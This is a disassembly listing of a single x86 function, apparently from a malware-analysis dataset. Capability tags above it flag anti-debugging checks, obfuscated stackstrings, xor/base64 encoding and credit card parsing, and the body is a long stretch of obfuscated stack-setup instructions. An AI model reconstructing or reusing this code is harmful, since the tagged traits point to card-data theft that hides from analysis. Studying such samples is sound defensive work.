Function at 0x415f50
Capabilities:
Check for software breakpoints
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Parse credit card information
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xeb90
call fcn.00503ea0
push esi
push edi
mov eax, 0xbd9
mov word [ebp - 0x778], ax
mov dword [ebp - 0x25b8], 0x603fc949
mov dword [ebp - 0x25bc], 0x456d1b08
mov byte [ebp - 1], 0xef
mov dword [ebp - 0x25c0], 0x1d02257e
mov dword [ebp - 0x25c4], 0x10747536
mov ecx, 0xb66
mov word [ebp - 0x77c], cx
mov edx, 0x957
mov word [ebp - 0x780], dx
mov eax, 0x6da
mov word [ebp - 0x784], ax
mov dword [ebp - 0x25c8], 0x7f244320
mov ecx, 0xac1
mov word [ebp - 0x788], cx
mov dword [ebp - 0x25cc], 0x5088c2ad
mov byte [ebp - 2], 0x90
mov dword [ebp - 0x25d0], 0x5c6801fe
mov dword [ebp - 0x25d4], 0x67303226
mov dword [ebp - 0x25d8], 0x67e10396
mov edx, 0x5b0f
mov word [ebp - 0x78c], dx
mov eax, 0xf50
mov word [ebp - 0x790], ax
mov dword [ebp - 0x25dc], 0x8dfa9db8
mov dword [ebp - 0x25e0], 0x694f6f9
mov dword [ebp - 0x25e4], 0x507c67c5
mov byte [ebp - 3], 0x3f
mov dword [ebp - 0x25e8], 0x100df27
mov dword [ebp - 0x25ec], 0x227b57e3
mov ecx, 0xb02
mov word [ebp - 0x794], cx
mov edx, 0x3b3
mov word [ebp - 0x798], dx
mov dword [ebp - 0x25f0], 0x46b2adbe
mov dword [ebp - 0x25f4], 0xb74d5586
mov dword [ebp - 0x25f8], 0x176bb400
mov byte [ebp - 4], 0x2c
mov dword [ebp - 0x25fc], 0x63e20c1b
mov byte [ebp - 5], 0x54
mov dword [ebp - 0x2600], 0x658bee85
mov dword [ebp - 0x2604], 0x1b957b63
mov dword [ebp - 0x2608], 0xa2cd70b7
mov dword [ebp - 0x260c], 0x6ab85861
mov dword [ebp - 0x2610], 0xe506b5c9
mov dword [ebp - 0x2614], 0x559f156d
mov eax, 0x35d8
mov word [ebp - 0x79c], ax
mov dword [ebp - 0x2618], 0x76849b2
mov dword [ebp - 0x261c], 0x6c01dd58
mov byte [ebp - 6], 0x1d
mov ecx, 0xa96
mov word [ebp - 0x7a0], cx
mov dword [ebp - 0x2620], 0x73574f55
mov edx, 0x6ae3
mov word [ebp - 0x7a4], dx
mov dword [ebp - 0x2624], 0x4858d10a
mov byte [ebp - 7], 0xfc
mov eax, 0x1553
mov word [ebp - 0x7a8], ax
mov ecx, 0xa28
mov word [ebp - 0x7ac], cx
mov dword [ebp - 0x2628], 0x7bff33f6
mov dword [ebp - 0x262c], 0x7e3df5fa
mov dword [ebp - 0x2630], 0x288dc493
mov edx, 0x6f1d
mov word [ebp - 0x7b0], dx
mov byte [ebp - 8], 0x35
mov byte [ebp - 9], 1
mov dword [ebp - 0x2634], 0x5cc841e0
mov dword [ebp - 0x2638], 0x51d1b402
mov dword [ebp - 0x263c], 0x6560ab7e
mov byte [ebp - 0xa], 0x22
mov dword [ebp - 0x2640], 0x652b3cf5
mov dword [ebp - 0x2644], 0x56d5c91b
mov dword [ebp - 0x2648], 0x4e5334bf
mov byte [ebp - 0xb], 0x69
mov dword [ebp - 0x264c], 0xf9f0557
mov dword [ebp - 0x2650], 0x59610158
mov eax, 0xfc0
mov word [ebp - 0x7b4], ax
mov dword [ebp - 0x2654], 0xc3f1002
mov dword [ebp - 0x2658], 0x4b865c25
mov dword [ebp - 0x265c], 0x154eb56d
mov byte [ebp - 0xc], 0x47
mov ecx, 0x5d0
mov word [ebp - 0x7b8], cx
mov edx, 0x2270
mov word [ebp - 0x7bc], dx
mov dword [ebp - 0x2660], 0x2a7e343
mov eax, 0x4db4
mov word [ebp - 0x7c0], ax
mov dword [ebp - 0x2664], 0x77f33224
mov dword [ebp - 0x2668], 0x38f759aa
mov dword [ebp - 0x266c], 0x107cb56d
mov byte [ebp - 0xd], 0xf7
mov ecx, 0x75
mov word [ebp - 0x7c4], cx
mov dword [ebp - 0x2670], 0x3dc58b84
mov dword [ebp - 0x2674], 0x40fa9690
mov dword [ebp - 0x2678], 0xe79ccbb7
mov byte [ebp - 0xe], 0xe5
mov byte [ebp - 0xf], 0x23
mov edx, 0x3d5b
mov word [ebp - 0x7c8], dx
mov byte [ebp - 0x10], 0x1f
mov byte [ebp - 0x11], 0x7c
mov dword [ebp - 0x267c], 0x42ebb1a
mov eax, 0x1709
mov word [ebp - 0x7cc], ax
mov dword [ebp - 0x2680], 0x228fe753
mov ecx, 0x7ff
mov word [ebp - 0x7d0], cx
mov edx, 0xb1
mov word [ebp - 0x7d4], dx
mov dword [ebp - 0x2684], 0x33f74135
mov dword [ebp - 0x2688], 0xe68059e2
mov dword [ebp - 0x268c], 0x242b05d9
mov dword [ebp - 0x2690], 0x58f3c2c5
mov eax, 0xe72
mov word [ebp - 0x7d8], ax
mov dword [ebp - 0x2694], 0x61d3072
mov dword [ebp - 0x2698], 0xfe567060
mov dword [ebp - 0x269c], 0xf4641c0
mov ecx, 0x745c
mov word [ebp - 0x7dc], cx
mov edx, 0x9de
mov word [ebp - 0x7e0], dx
mov dword [ebp - 0x26a0], 0xf8d8b3a7
mov dword [ebp - 0x26a4], 0x4e43389d
mov eax, 0x5ed2
mov word [ebp - 0x7e4], ax
mov dword [ebp - 0x26a8], 0x736189d7
mov dword [ebp - 0x26ac], 0x7ac1590f
mov byte [ebp - 0x12], 0xe6
mov dword [ebp - 0x26b0], 0x2ce2b5ce
mov byte [ebp - 0x13], 0xd2
mov byte [ebp - 0x14], 0x5e
mov dword [ebp - 0x26b4], 0x3c9c6a0c
mov dword [ebp - 0x26b8], 0x25df7eab
mov dword [ebp - 0x26bc], 0xf3633
mov ecx, 0x155
mov word [ebp - 0x7e8], cx
mov dword [ebp - 0x26c0], 0x5f157a4c
mov dword [ebp - 0x26c4], 0xb893574e
mov edx, 0x4ff
mov word [ebp - 0x7ec], dx
mov eax, 0x332
mov word [ebp - 0x7f0], ax
mov ecx, dword [str.Dispensary]
mov dword [ebp - 0xe318], ecx
mov edx, dword [0x51140c]
mov dword [ebp - 0xe314], edx
mov ax, word [0x511410]
mov word [ebp - 0xe310], ax
mov cl, byte [0x511412]
mov byte [ebp - 0xe30e], cl
mov edx, 0x749e
mov word [ebp - 0x7f4], dx
mov byte [ebp - 0x15], 0x5a
mov dword [ebp - 0x26c8], 0x7441d4cd
mov byte [ebp - 0x16], 0x54
mov eax, 0x2fe3
mov word [ebp - 0x7f8], ax
mov ecx, 0xc4
mov word [ebp - 0x7fc], cx
mov byte [ebp - 0x17], 0x56
mov dword [ebp - 0x26cc], 0x64f3cf78
mov edx, 0x359
mov word [ebp - 0x800], dx
mov dword [ebp - 0x26d0], 0xb6072370
mov dword [ebp - 0x26d4], 0x7f97ced4
mov eax, 0x551
mov word [ebp - 0x804], ax
mov byte [ebp - 0x18], 0xbb
mov byte [ebp - 0x19], 0x30
mov ecx, 0xdc2
mov word [ebp - 0x808], cx
mov byte [ebp - 0x1a], 0x7c
mov dword [ebp - 0x26d8], 0x78790347
mov edx, 0x614
mov word [ebp - 0x80c], dx
mov dword [ebp - 0x26dc], 0x44da8bf1
mov dword [ebp - 0x26e0], 0x76d97f6f
mov dword [ebp - 0x26e4], 0x214678cf
mov eax, 0x541a
mov word [ebp - 0x810], ax
mov dword [ebp - 0x26e8], 0x7c110c84
mov dword [ebp - 0x26ec], 0xf736be8
mov byte [ebp - 0x1b], 0x74
mov dword [ebp - 0x26f0], 0x961fc300
mov dword [ebp - 0x26f4], 0x83fec87
mov ecx, 0x399
mov word [ebp - 0x814], cx
mov dword [ebp - 0x26f8], 0x6ad94ef8
mov dword [ebp - 0x26fc], 0x63e0a9f
mov edx, 0x50d2
mov word [ebp - 0x818], dx
mov byte [ebp - 0x1c], 0x57
mov eax, 0x1f9
mov word [ebp - 0x81c], ax
mov dword [ebp - 0x2700], 0x1300a2d7
mov ecx, 0x305
mov word [ebp - 0x820], cx
mov edx, 0xfb4
mov word [ebp - 0x824], dx
mov eax, 0xce1
mov word [ebp - 0x828], ax
mov dword [ebp - 0x2704], 0xbe5d2b6
mov ecx, 0x3f8
mov word [ebp - 0x82c], cx
mov dword [ebp - 0x2708], 0x9afb5301
mov edx, 0xdfd
mov word [ebp - 0x830], dx
mov eax, 0x959
mov word [ebp - 0x834], ax
mov dword [ebp - 0x270c], 0x2f6436e6
mov dword [ebp - 0x2710], 0x1822c88f
mov byte [ebp - 0x1d], 0xa9
mov ecx, 0x459b
mov word [ebp - 0x838], cx
mov dword [ebp - 0x2714], 0x1eb15d89
mov dword [ebp - 0x2718], 0xabe80f1
mov byte [ebp - 0x1e], 0x54
mov dword [ebp - 0x271c], 0xf5699231
mov dword [ebp - 0x2720], 0x1a858dd3
mov dword [ebp - 0x2724], 0x6c7d95d7
mov dword [ebp - 0x2728], 0x6596e20d
mov dword [ebp - 0x272c], 0x6cdda93e
mov edx, 0xb4
mov word [ebp - 0x83c], dx
mov eax, 0xde9
mov word [ebp - 0x840], ax
mov dword [ebp - 0x2730], 0x49c3350c
mov byte [ebp - 0x1f], 0x64
mov dword [ebp - 0x2734], 0x7578349a
mov ecx, 0xa4d
mov word [ebp - 0x844], cx
mov edx, 0xfd4
mov word [ebp - 0x848], dx
mov eax, 0x3af4
mov word [ebp - 0x84c], ax
mov dword [ebp - 0x2738], 0x32dfa42
mov dword [ebp - 0x273c], 0x43dd71a7
mov dword [ebp - 0x2740], 0x6e0406d5
mov byte [ebp - 0x20], 0x9b
mov dword [ebp - 0x2744], 0x5082a65d
mov dword [ebp - 0x2748], 0x1cf727c9
mov dword [ebp - 0x274c], 0x46c6c328
mov byte [ebp - 0x21], 0xad
mov ecx, 0x622
mov word [ebp - 0x850], cx
mov dword [ebp - 0x2750], 0x74178818
mov byte [ebp - 0x22], 0x71
mov dword [ebp - 0x2754], 0x2de2e036
mov dword [ebp - 0x2758], 0x4e84438
mov byte [ebp - 0x23], 0x21
mov dword [ebp - 0x275c], 0xc740848
mov dword [ebp - 0x2760], 0xe86af545
mov dword [ebp - 0x2764], 0x638c1f0e
mov edx, 0xed8
mov word [ebp - 0x854], dx
mov eax, 0x21a
mov word [ebp - 0x858], ax
mov dword [ebp - 0x2768], 0x37e2cddd
mov byte [ebp - 0x24], 0xe9
mov byte [ebp - 0x25], 0xec
mov byte [ebp - 0x26], 0x19
mov dword [ebp - 0x276c], 0x5ca8c3fc
mov dword [ebp - 0x2770], 0xba21c65
mov dword [ebp - 0x2774], 0x181a7fda
mov ecx, 0x4f7
mov word [ebp - 0x85c], cx
mov dword [ebp - 0x2778], 0x2a1661a6
mov dword [ebp - 0x277c], 0x6bd571ab
mov dword [ebp - 0x2780], 0x4894e260
mov edx, 0x45d
mov word [ebp - 0x860], dx
mov dword [ebp - 0x2784], 0x4fcc3c94
mov dword [ebp - 0x2788], 0x4c20ac13
mov eax, 0x2e58
mov word [ebp - 0x864], ax
mov byte [ebp - 0x27], 2
mov byte [ebp - 0x28], 0x61
mov dword [ebp - 0x278c], 0x139d7b79
mov dword [ebp - 0x2790], 0xed0b80a0
mov byte [ebp - 0x29], 0xb4
mov byte [ebp - 0x2a], 0
mov dword [ebp - 0x2794], 0x30497046
mov dword [ebp - 0x2798], 0x7a6a4756
mov dword [ebp - 0x279c], 0x62902d53
mov byte [ebp - 0x2b], 0x4a
mov byte [ebp - 0x2c], 0x5b
mov ecx, 0x5fa7
mov word [ebp - 0x868], cx
mov edx, 0xc5a
mov word [ebp - 0x86c], dx
mov dword [ebp - 0x27a0], 0xa4a7abd9
mov dword [ebp - 0x27a4], 0xcfd796d8
mov dword [ebp - 0x27a8], 0x17e8582f
mov dword [ebp - 0x27ac], 0x284ac4cb
mov eax, 0x929
mov word [ebp - 0x870], ax
mov byte [ebp - 0x2d], 0x31
mov byte [ebp - 0x2e], 0x35
mov byte [ebp - 0x2f], 0x55
mov byte [ebp - 0x30], 0x2f
mov ecx, 0x5f88
mov word [ebp - 0x874], cx
mov edx, 0x773
mov word [ebp - 0x878], dx
mov dword [ebp - 0x27b0], 0xa4e38520
mov byte [ebp - 0x31], 0xee
mov eax, 0xac
mov word [ebp - 0x87c], ax
mov ecx, 0xcae
mov word [ebp - 0x880], cx
mov byte [ebp - 0x32], 0x5e
mov edx, 0x7e05
mov word [ebp - 0x884], dx
mov dword [ebp - 0x27b4], 0x51faf853
mov dword [ebp - 0x27b8], 0xdbc8672a
mov dword [ebp - 0x27bc], 0x512af66
mov dword [ebp - 0x27c0], 0x1795192c
mov byte [ebp - 0x33], 0x78
mov dword [ebp - 0x27c4], 0x46a7af1d
mov dword [ebp - 0x27c8], 0x73254ed0
mov dword [ebp - 0x27cc], 0x77a554b9
mov eax, 0x2a7b
mov word [ebp - 0x888], ax
mov byte [ebp - 0x34], 0x61
mov dword [ebp - 0x27d0], 0x7f134d43
mov dword [ebp - 0x27d4], 0xb9732adf
mov dword [ebp - 0x27d8], 0x518dc45f
mov dword [ebp - 0x27dc], 0xe2e376d4
mov dword [ebp - 0x27e0], 0x430ad470
mov dword [ebp - 0x27e4], 0x87a78837
mov dword [ebp - 0x27e8], 0x1bd0c056
mov byte [ebp - 0x35], 0x55
mov dword [ebp - 0x27ec], 0x4682300e
mov ecx, 0x76d
mov word [ebp - 0x88c], cx
mov dword [ebp - 0x27f0], 0x6db5af56
mov edx, 0xaee
mov word [ebp - 0x890], dx
mov byte [ebp - 0x36], 0x2e
mov eax, 0x76aa
mov word [ebp - 0x894], ax
mov dword [ebp - 0x27f4], 0x96054cd
mov dword [ebp - 0x27f8], 0xb708aab
mov dword [ebp - 0x27fc], 0x53ca31aa
mov ecx, 0x57fa
mov word [ebp - 0x898], cx
mov dword [ebp - 0x2800], 0x8fece49f
mov dword [ebp - 0x2804], 0x55fc9495
mov dword [ebp - 0x2808], 0xea553aa5
mov dword [ebp - 0x280c], 0x2a6d3012
mov edx, 0xe2b
mov word [ebp - 0x89c], dx
mov eax, 0x56a
mov word [ebp - 0x8a0], ax
mov dword [ebp - 0x2810], 0x13780c4d
mov dword [ebp - 0x2814], 0x72e6fde
mov ecx, 0x3679
mov word [ebp - 0x8a4], cx
mov dword [ebp - 0x2818], 0x175dea8b
mov byte [ebp - 0x37], 0x1f
mov byte [ebp - 0x38], 0xdc
mov dword [ebp - 0x281c], 0x36700a17
mov byte [ebp - 0x39], 0x63
mov edx, 0x1300
mov word [ebp - 0x8a8], dx
mov dword [ebp - 0x2820], 0x3b03a859
mov dword [ebp - 0x2824], 0xeca296d5
mov eax, 0xa91
mov word [ebp - 0x8ac], ax
mov dword [ebp - 0x2828], 0x80fa9f
mov byte [ebp - 0x3a], 0x70
mov dword [ebp - 0x282c], 0x352190c8
xor ecx, ecx
mov word [ebp - 0x8b0], cx
mov edx, 0x470
mov word [ebp - 0x8b4], dx
mov eax, 0x6157
mov word [ebp - 0x8b8], ax
mov dword [ebp - 0x2830], 0x9cad9576
mov dword [ebp - 0x2834], 0x2ebdb006
mov dword [ebp - 0x2838], 0x46a482fd
mov ecx, 0x72c5
mov word [ebp - 0x8bc], cx
mov dword [ebp - 0x283c], 0x324ccf05
mov edx, 0x7dd
mov word [ebp - 0x8c0], dx
mov dword [ebp - 0x2840], 0xd1ad67c7
mov dword [ebp - 0x2844], 0x2c7476
mov dword [ebp - 0x2848], 0x22883738
mov eax, 0x9de
mov word [ebp - 0x8c4], ax
mov byte [ebp - 0x3b], 0xc6
mov byte [ebp - 0x3c], 0x7f
mov dword [ebp - 0x284c], 0x4d8cfa85
mov ecx, 0xbe2
mov word [ebp - 0x8c8], cx
mov dword [ebp - 0x2850], 0x7bff6a3b
mov dword [ebp - 0x2854], 0xb2033ea0
mov dword [ebp - 0x2858], 0x6ade9f4a
mov dword [ebp - 0x285c], 0x7a9b818e
mov edx, 0x38c
mov word [ebp - 0x8cc], dx
mov dword [ebp - 0x2860], 0x50ff4f7a
mov dword [ebp - 0x2864], 0xefd11390
mov dword [ebp - 0x2868], 0x11c937e5
mov byte [ebp - 0x3d], 0xa6
mov byte [ebp - 0x3e], 0x85
mov dword [ebp - 0x286c], 0x92cb8709
mov dword [ebp - 0x2870], 0x8512a5b7
mov eax, 0x4c2
mov word [ebp - 0x8d0], ax
mov dword [ebp - 0x2874], 0x5230435f
mov byte [ebp - 0x3f], 0x75
mov dword [ebp - 0x2878], 0x43be4093
mov ecx, 0x1e1
mov word [ebp - 0x8d4], cx
mov edx, 0x24ea
mov word [ebp - 0x8d8], dx
mov byte [ebp - 0x40], 0x61
mov eax, 0xa38
mov word [ebp - 0x8dc], ax
mov dword [ebp - 0x287c], 0xcd4af9e
mov dword [ebp - 0x2880], 0x8b75cd2d
mov ecx, 0x623c
mov word [ebp - 0x8e0], cx
mov edx, 0xf08
mov word [ebp - 0x8e4], dx
mov dword [ebp - 0x2884], 0x7bdb05cc
mov eax, 0x7eda
mov word [ebp - 0x8e8], ax
mov ecx, 0x6ec5
mov word [ebp - 0x8ec], cx
mov byte [ebp - 0x41], 0x77
mov dword [ebp - 0x2888], 0x3806213e
mov edx, 0x8a2
mov word [ebp - 0x8f0], dx
mov eax, 0x687
mov word [ebp - 0x8f4], ax
mov dword [ebp - 0x288c], 0x5465da4d
mov dword [ebp - 0x2890], 0x5434a270
mov byte [ebp - 0x42], 0xa
mov ecx, 0x166
mov word [ebp - 0x8f8], cx
mov byte [ebp - 0x43], 0x2a
mov byte [ebp - 0x44], 0x5a
mov dword [ebp - 0x2894], 0x4070f8f7
mov byte [ebp - 0x45], 0xf6
mov byte [ebp - 0x46], 0x3d
mov dword [ebp - 0x2898], 0xc7de6bf5
mov edx, 0x2c4
mov word [ebp - 0x8fc], dx
mov dword [ebp - 0x289c], 0x6fa64d65
mov byte [ebp - 0x47], 0xa0
mov dword [ebp - 0x28a0], 0x44d01eb
mov byte [ebp - 0x48], 0xe4
mov dword [ebp - 0x28a4], 0x9618e72c
mov dword [ebp - 0x28a8], 0x5611fa22
mov byte [ebp - 0x49], 0x3b
mov byte [ebp - 0x4a], 0x13
mov eax, 0xb1d
mov word [ebp - 0x900], ax
mov ecx, 0x363
mov word [ebp - 0x904], cx
mov edx, 0xc12
mov word [ebp - 0x908], dx
mov dword [ebp - 0x28ac], 0x59e3c165
mov dword [ebp - 0x28b0], 0x56177f8b
mov eax, 0x4d16
mov word [ebp - 0x90c], ax
mov dword [ebp - 0x28b4], 0x247d8f27
mov dword [ebp - 0x28b8], 0xb4fd1c20
mov dword [ebp - 0x28bc], 0xcbcf45c6
mov dword [ebp - 0x28c0], 0x76c47ecd
mov dword [ebp - 0x28c4], 0x252e6e42
mov dword [ebp - 0x28c8], 0x604afcba
mov dword [ebp - 0x28cc], 0x6c31573c
mov dword [ebp - 0x28d0], 0x5772a922
mov dword [ebp - 0x28d4], 0x72a08944
mov dword [ebp - 0x28d8], 0x87d77a4d
mov ecx, 0xcce
mov word [ebp - 0x910], cx
mov dword [ebp - 0x28dc], 0x6a691456
mov byte [ebp - 0x4b], 0x99
mov dword [ebp - 0x28e0], 0x6a1eae60
mov dword [ebp - 0x28e4], 0x2459d4e6
mov dword [ebp - 0x28e8], 0x5635bbe1
mov dword [ebp - 0x28ec], 0x2747ab74
mov edx, 0x904
mov word [ebp - 0x914], dx
mov dword [ebp - 0x28f0], 0x28db7fa4
mov eax, 0xf4f
mov word [ebp - 0x918], ax
mov dword [ebp - 0x28f4], 0xdd9be71c
mov dword [ebp - 0x28f8], 0x69ae78d4
mov ecx, 0x6b5
mov word [ebp - 0x91c], cx
mov byte [ebp - 0x4c], 0x17
mov byte [ebp - 0x4d], 0x39
mov byte [ebp - 0x4e], 0x53
mov edx, 0x8bb
mov word [ebp - 0x920], dx
mov eax, 0x1b7
mov word [ebp - 0x924], ax
mov dword [ebp - 0x28fc], 0x6d424b46
mov ecx, 0xf4e
mov word [ebp - 0x928], cx
mov dword [ebp - 0x2900], 0xfd7cc7be
mov byte [ebp - 0x4f], 0x6c
mov dword [ebp - 0x2904], 0x4cde00e4
mov edx, 0xc61
mov word [ebp - 0x92c], dx
mov eax, 0x424
mov word [ebp - 0x930], ax
mov ecx, 0x301
mov word [ebp - 0x934], cx
mov dword [ebp - 0x2908], 0x332c2597
mov edx, 0x55fb
mov word [ebp - 0x938], dx
mov dword [ebp - 0x290c], 0xf8ca38fe
mov dword [ebp - 0x2910], 0x6bb2842b
mov eax, 0x15c
mov word [ebp - 0x93c], ax
mov byte [ebp - 0x50], 0x74
mov byte [ebp - 0x51], 0x4a
mov dword [ebp - 0x2914], 0x884a00b
mov ecx, 0x5b3f
mov word [ebp - 0x940], cx
mov dword [ebp - 0x2918], 0x5df4db89
mov dword [ebp - 0x291c], 0x1d0570c5
mov dword [ebp - 0x2920], 0x4b8b42a7
mov dword [ebp - 0x2924], 0x3be3f348
mov dword [ebp - 0x2928], 0x46c28d9c
mov dword [ebp - 0x292c], 0x69de0e8
mov dword [ebp - 0x2930], 0x6462d5b
mov dword [ebp - 0x2934], 0x7eb81ffa
mov dword [ebp - 0x2938], 0x2b2aa1fb
mov edx, 9
mov word [ebp - 0x944], dx
mov eax, 0xbeb
mov word [ebp - 0x948], ax
mov dword [ebp - 0x293c], 0x17b15896
mov dword [ebp - 0x2940], 0x25455ff6
mov dword [ebp - 0x2944], 0x24a5fcca
mov ecx, 0x10d8
mov word [ebp - 0x94c], cx
mov byte [ebp - 0x52], 0x99
mov dword [ebp - 0x2948], 0x1438080e
mov edx, 0xb4a
mov word [ebp - 0x950], dx
mov dword [ebp - 0x294c], 0xff96565
mov byte [ebp - 0x53], 0x3b
mov byte [ebp - 0x54], 0x62
mov byte [ebp - 0x55], 0xfd
mov dword [ebp - 0x2950], 0x5f3b2899
mov dword [ebp - 0x2954], 0xd59fc7f6
mov byte [ebp - 0x56], 0x31
mov byte [ebp - 0x57], 0x34
mov dword [ebp - 0x2958], 0xd36086e8
mov byte [ebp - 0x58], 0xf
mov eax, 0x733
mov word [ebp - 0x954], ax
mov dword [ebp - 0x295c], 0x5a86efb
mov dword [ebp - 0x2960], 0x2f2b0c5a
mov ecx, 0x29eb
mov word [ebp - 0x958], cx
mov dword [ebp - 0x2964], 0x7007ead0
mov dword [ebp - 0x2968], 0x75b6a97f
mov dword [ebp - 0x296c], 0x75bfcb18
mov dword [ebp - 0x2970], 0x1900b8dd
mov dword [ebp - 0x2974], 0x2a4fc33d
mov edx, 0xbc2
mov word [ebp - 0x95c], dx
mov dword [ebp - 0x2978], 0x9e372d8b
mov dword [ebp - 0x297c], 0x61379bb0
mov dword [ebp - 0x2980], 0x44ddd2ff
mov dword [ebp - 0x2984], 0x6efb674c
mov dword [ebp - 0x2988], 0x77f7cdae
mov eax, 0x18dc
mov word [ebp - 0x960], ax
mov byte [ebp - 0x59], 0x29
mov ecx, 0x2a7
mov word [ebp - 0x964], cx
mov dword [ebp - 0x298c], 0x308fafe4
mov dword [ebp - 0x2990], 0x3d60dec5
mov edx, 0x1d
mov word [ebp - 0x968], dx
mov eax, 0x226
mov word [ebp - 0x96c], ax
mov ecx, 0xd53
mov word [ebp - 0x970], cx
mov dword [ebp - 0x2994], 0xe751303a
mov dword [ebp - 0x2998], 0x6d5f97c8
mov edx, 0x3dbd
mov word [ebp - 0x974], dx
mov dword [ebp - 0x299c], 0x27f1ff87
mov dword [ebp - 0x29a0], 0x5a11d11
mov byte [ebp - 0x5a], 0xef
mov dword [ebp - 0x29a4], 0x986494bf
mov eax, 0xe56
mov word [ebp - 0x978], ax
mov ecx, 0xee0
mov word [ebp - 0x97c], cx
mov edx, 0x4f7
mov word [ebp - 0x980], dx
mov eax, 0x623
mov word [ebp - 0x984], ax
mov dword [ebp - 0x29a8], 0xe1cd5db
mov ecx, 0x5bde
mov word [ebp - 0x988], cx
mov dword [ebp - 0x29ac], 0x3338b026
mov dword [ebp - 0x29b0], 0x694e2c18
mov byte [ebp - 0x5b], 7
mov dword [ebp - 0x29b4], 0x56687f3a
mov dword [ebp - 0x29b8], 0x75deec6e
mov byte [ebp - 0x5c], 0x1b
mov byte [ebp - 0x5d], 0x31
mov dword [ebp - 0x29bc], 0x4e85433c
mov dword [ebp - 0x29c0], 0x716e38a8
mov dword [ebp - 0x29c4], 0x96313f67
mov dword [ebp - 0x29c8], 0x19f45b5
mov dword [ebp - 0x29cc], 0xf80386ae
mov edx, 0x29a
mov word [ebp - 0x98c], dx
mov dword [ebp - 0x29d0], 0x5ddc3736
mov byte [ebp - 0x5e], 0x28
mov dword [ebp - 0x29d4], 0xa536edfe
mov dword [ebp - 0x29d8], 0xc0182172
mov byte [ebp - 0x5f], 0xb0
mov dword [ebp - 0x29dc], 0x24a7a104
mov eax, 0x64
mov word [ebp - 0x990], ax
mov dword [ebp - 0x29e0], 0x4eb4573c
mov dword [ebp - 0x29e4], 0x67f2f740
mov ecx, 0x60cd
mov word [ebp - 0x994], cx
mov dword [ebp - 0x29e8], 0xfad6227b
mov dword [ebp - 0x29ec], 0x70dd768b
mov dword [ebp - 0x29f0], 0x4ae314c
mov byte [ebp - 0x60], 0x5b
mov dword [ebp - 0x29f4], 0x3ccc9b77
mov byte [ebp - 0x61], 0x9a
mov dword [ebp - 0x29f8], 0xd851f035
mov dword [ebp - 0x29fc], 0x6d274825
mov dword [ebp - 0x2a00], 0x70feebab
mov dword [ebp - 0x2a04], 0x688f7f1e
mov byte [ebp - 0x62], 0x73
mov dword [ebp - 0x2a08], 0x2d5af5d5
mov dword [ebp - 0x2a0c], 0xa07dedd3
mov edx, 0x21ed
mov word [ebp - 0x998], dx
mov dword [ebp - 0x2a10], 0x5a3a3663
mov eax, 0xbe5
mov word [ebp - 0x99c], ax
mov byte [ebp - 0x63], 0x9c
mov dword [ebp - 0x2a14], 0x51ee7a78
mov dword [ebp - 0x2a18], 0x5a143f91
mov dword [ebp - 0x2a1c], 0xc2b70bb4
mov dword [ebp - 0x2a20], 0x420c324d
mov dword [ebp - 0x2a24], 0x11cae69
mov byte [ebp - 0x64], 0x30
mov ecx, 0x272f
mov word [ebp - 0x9a0], cx
mov dword [ebp - 0x2a28], 0x1acb63f
mov byte [ebp - 0x65], 0x16
mov edx, 0x422
mov word [ebp - 0x9a4], dx
mov byte [ebp - 0x66], 0x2e
mov eax, 0xdac
mov word [ebp - 0x9a8], ax
mov dword [ebp - 0x2a2c], 0x4a2a0007
mov ecx, 0xe4f
mov word [ebp - 0x9ac], cx
mov byte [ebp - 0x67], 0xa2
mov dword [ebp - 0x2a30], 0x5d0b37ad
mov dword [ebp - 0x2a34], 0xf4af70b5
mov dword [ebp - 0x2a38], 0x845de6c2
mov dword [ebp - 0x2a3c], 0x4c082c26
mov byte [ebp - 0x68], 0xb5
mov dword [ebp - 0x2a40], 0x3ffe40e2
mov dword [ebp - 0x2a44], 0x274a6f7c
mov dword [ebp - 0x2a48], 0x8126df9
mov dword [ebp - 0x2a4c], 0x2e4e2c78
mov dword [ebp - 0x2a50], 0x760d3515
mov dword [ebp - 0x2a54], 0x2a61f128
mov edx, 0xe4f
mov word [ebp - 0x9b0], dx
mov byte [ebp - 0x69], 0x3e
mov dword [ebp - 0x2a58], 0x160f8561
mov dword [ebp - 0x2a5c], 0xb49845d2
mov dword [ebp - 0x2a60], 0x5c15433d
mov byte [ebp - 0x6a], 0x66
mov dword [ebp - 0x2a64], 0x21f0c42f
mov eax, 0x6748
mov word [ebp - 0x9b4], ax
mov byte [ebp - 0x6b], 0x23
mov ecx, 0x4ba
mov word [ebp - 0x9b8], cx
mov dword [ebp - 0x2a68], 0x1cee7272
mov byte [ebp - 0x6c], 0xc8
mov dword [ebp - 0x2a6c], 0x6d87e4c
mov dword [ebp - 0x2a70], 0x16725f0d
mov dword [ebp - 0x2a74], 0x4d352382
mov byte [ebp - 0x6d], 0x22
mov byte [ebp - 0x6e], 0x66
mov byte [ebp - 0x6f], 6
mov dword [ebp - 0x2a78], 0x5e60b33e
mov dword [ebp - 0x2a7c], 0x200d7587
mov dword [ebp - 0x2a80], 0x5ee27fb5
mov byte [ebp - 0x70], 0x4c
mov dword [ebp - 0x2a84], 0x48f9c301
mov dword [ebp - 0x2a88], 0x1f1a65c3
mov edx, 0x10c8
mov word [ebp - 0x9bc], dx
mov dword [ebp - 0x2a8c], 0x963f7fea
mov dword [ebp - 0x2a90], 0x527a6854
mov dword [ebp - 0x2a94], 0x29047d74
mov dword [ebp - 0x2a98], 0x30e5ccf7
mov eax, 0x688
mov word [ebp - 0x9c0], ax
mov dword [ebp - 0x2a9c], 0x397bf98a
mov dword [ebp - 0x2aa0], 0x74ea382e
mov byte [ebp - 0x71], 0xb9
mov byte [ebp - 0x72], 0x1a
mov dword [ebp - 0x2aa4], 0x4a7ade7d
mov dword [ebp - 0x2aa8], 0x4e499710
mov dword [ebp - 0x2aac], 0x2faf5ea9
mov ecx, 0x21e
mov word [ebp - 0x9c4], cx
mov byte [ebp - 0x73], 0xa8
mov dword [ebp - 0x2ab0], 0x1f856ab8
mov dword [ebp - 0x2ab4], 0x3a532555
mov dword [ebp - 0x2ab8], 0xdf5c3f1a
mov dword [ebp - 0x2abc], 0x91588df6
mov dword [ebp - 0x2ac0], 0x61a4506f
mov dword [ebp - 0x2ac4], 0x6da0a7e1
mov dword [ebp - 0x2ac8], 0xbaf652ef
mov dword [ebp - 0x2acc], 0x7c870ed4
mov byte [ebp - 0x74], 0x81
mov edx, 0x76e7
mov word [ebp - 0x9c8], dx
mov dword [ebp - 0x2ad0], 0x2cd066
mov eax, 0x4de9
mov word [ebp - 0x9cc], ax
mov byte [ebp - 0x75], 0xee
mov byte [ebp - 0x76], 0x51
